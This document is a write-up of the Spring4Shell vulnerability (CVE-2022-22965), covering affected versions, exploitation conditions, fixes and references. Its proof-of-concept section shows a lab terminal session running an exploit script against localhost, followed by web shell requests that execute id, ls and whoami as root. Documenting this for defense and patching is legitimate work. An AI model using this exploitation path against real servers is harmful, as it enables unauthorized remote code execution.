

# Spring4shell vulnerability

## CVE:

2022-22965

## CVSS Score

9.8

## Abstract

The Spring framework is the most widely used lightweight open-source framework for Java, and in the JDK9 version of the Spring framework (and above), a remote attacker can obtain an AccessLogValve object through the framework's parameter binding feature and use malicious field values to trigger the pipeline mechanism and write to a file in an arbitrary path if certain conditions are met. file under any path.

The Spring4Shell vulnerability (CVE-2022-22965) impacts SpringMVC (Spring Web model-view-controller) and Spring WebFlux applications when running on Java JDK9 and subsequently on a Tomcat application server. The vulnerability can be exploited to write to an arbitrary file on the server, which can then be leveraged to achieve remote code execution.

The exploit code that has been made public specifically targets Apache Tomcat deployments. It only affects Spring Applications that are deployed as traditional WebArchive (WAR) files to the Apache Tomcat Servlet container. The main issue occurs when we have a controller that has a request mapping loaded into memory.

## Condition for Exploiting the Vulnerability

- JDK 9 or higher
- Apache Tomcat as the Servlet container (A vulnerable Tomcat server with a vulnerable spring4shell application.)
- spring-webmvc or spring-webflux dependency
- Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions
- Packaged as a traditional WAR (in contrast to a Spring Boot executable jar)

# POC of Spring4Shell Vulnerability

```
kali@kali: ~/spring4shell

File Actions Edit View Help

APR/OpenSSL configuration: useAprConnector [false], useOpenSSL [true]
18-Jul-2022 05:08:39.969 INFO [main] org.apache.catalina.core.AprLifecycleListener.
penSSL successfully initialized [OpenSSL 1.1.1k 25 Mar 2021]
18-Jul-2022 05:08:41.939 INFO [main] org.apache.coyote.AbstractProtocol.init Initia
Handler ["http-nio-8080"]
18-Jul-2022 05:08:42.104 INFO [main] org.apache.catalina.startup.Catalina.Load Serv
on in [3624] milliseconds
18-Jul-2022 05:08:42.381 INFO [main] org.apache.catalina.core.StandardService.start
ng service [Catalina]
18-Jul-2022 05:08:42.382 INFO [main] org.apache.catalina.core.StandardEngine.startI
g Servlet engine: [Apache Tomcat/9.0.59]
18-Jul-2022 05:08:42.457 INFO [main] org.apache.catalina.startup.HostConfig.deployW
b application archive [/usr/local/tomcat/webapps/helloworld.war]
18-Jul-2022 05:08:47.017 INFO [main] org.apache.jasper.servlet.TldScanner.scanJars
R was scanned for TLDs yet contained no TLDs. Enable debug logging for this logger
list of JARs that were scanned but no TLDs were found in them. Skipping unneeded JA
ing can improve startup time and JSP compilation time.

:: Spring Boot :: (v2.6.3)

2022-07-18 05:08:49.109 INFO 1 --- [main] c.r.helloworld.HelloworldAppl
tating HelloworldApplication v0.0.1-SNAPSHOT using Java 11.0.14.1 on 21ee347a7169
r/local/tomcat/webapps/helloworld/WEB-INF/classes started by root in /helloworld)
2022-07-18 05:08:49.126 INFO 1 --- [main] c.r.helloworld.HelloworldAppl
o active profile set, falling back to default profiles: default
2022-07-18 05:08:51.927 INFO 1 --- [main] w.s.c.ServletWebServerApplica
oot WebApplicationContext: initialization completed in 2627 ms
2022-07-18 05:08:55.910 INFO 1 --- [main] c.r.helloworld.HelloworldAppl
tated HelloworldApplication in 8.011 seconds (JVM running for 18.24)
18-Jul-2022 05:08:56.077 INFO [main] org.apache.catalina.startup.HostConfig.deployW
f web application archive [/usr/local/tomcat/webapps/helloworld.war] has finished i
18-Jul-2022 05:08:56.100 INFO [main] org.apache.coyote.AbstractProtocol.start Start
dler ["http-nio-8080"]
18-Jul-2022 05:08:56.283 INFO [main] org.apache.catalina.startup.Catalina.start Ser
[14176] milliseconds
2022-07-18 05:17:28.898 INFO 1 --- [nio-8080-exec-9] o.s.web.servlet.DispatcherSer
t 'dispatcherServlet'
2022-07-18 05:17:29.127 INFO 1 --- [nio-8080-exec-9] o.s.web.servlet.DispatcherSer
ation in 191 ms
18-Jul-2022 05:17:36.341 INFO [Catalina-utility-1] org.apache.catalina.startup.Host
web application directory [/usr/local/tomcat/webapps/ROOT]
18-Jul-2022 05:17:36.557 INFO [Catalina-utility-1] org.apache.catalina.startup.Host
of web application directory [/usr/local/tomcat/webapps/ROOT] has finished in [216

(kali@kali) - [~/spring4shell]
$ curl localhost/helloworld/greeting
<!doctype html><html lang="en"><head><title>HTTP Status 404 - Not Found</title><sty
ily:Tahoma,Arial,sans-serif; h1, h2, h3, b {color:white;background-color:#525D76;
ze:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1
r:none;}</style></head><body><h1>HTTP Status 404 - Not Found</h1><hr class="line" /
<p><b>Description</b> The origin server did not find a current representation for t
ing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/9.0.59</h3>g
bad/illegal format or missing URL

(kali@kali) - [~/spring4shell]
$ python3 exploit.py --url 'http://localhost/helloworld/greeting'
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://localhost/shell.jsp?cmd=id

(kali@kali) - [~/spring4shell]
$
```

Webshell

```
localhost/shell.jsp?cmd=id

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

uid=0(root) gid=0(root) groups=0(root) //
```

Hello World! Exploit me!

```
localhost/shell.jsp?cmd=ls -alh

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

total 24K drwxr-xr-x 1 root root 4.0K Jul 18 05:33 . drwxr-xr-x 1 root root 4.0K Jul 18 05:08 .. drwxr-x--- 2 root root 4.0K Jul 18 05:33 exploit -rw-r--r-- 1 root root 1.8K
Jul 18 04:55 pom.xml drwxr-xr-x 4 root root 4.0K Jul 18 04:58 src drwxr-xr-x 1 root root 4.0K Jul 18 05:04 target //
```

```
localhost/shell.jsp?cmd=id x +

localhost/shell.jsp?cmd=whoami

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

root //
```

## **Mitigation**

- Use of Spring Framework 5.3.18+ & 5.2.20+ is not vulnerable to this Exploit
- The Apache Software Foundation has also released patched versions of Apache Tomcat 10.0.20, 9.0.62, and 8.5.78, in which the attack vector is closed on the Tomcat side.
- The Spring developers have also released patched versions of the Spring Boot 2.5.12 and 2.6.6 extensions that depend on the patched version of Spring Framework 5.3.18.

## **Lab**

<https://www.thedutchhacker.com/spring4shell-cve-2022-22965-on-tryhackme/>

## **Reference**

- <https://infosecwriteups.com/anatomy-of-spring4shell-cve-2022-22965-e0df259cef9d>
- <https://www.kaspersky.co.in/blog/spring4shell-critical-vulnerability-in-spring-java-framework/24004/>
- <https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc/>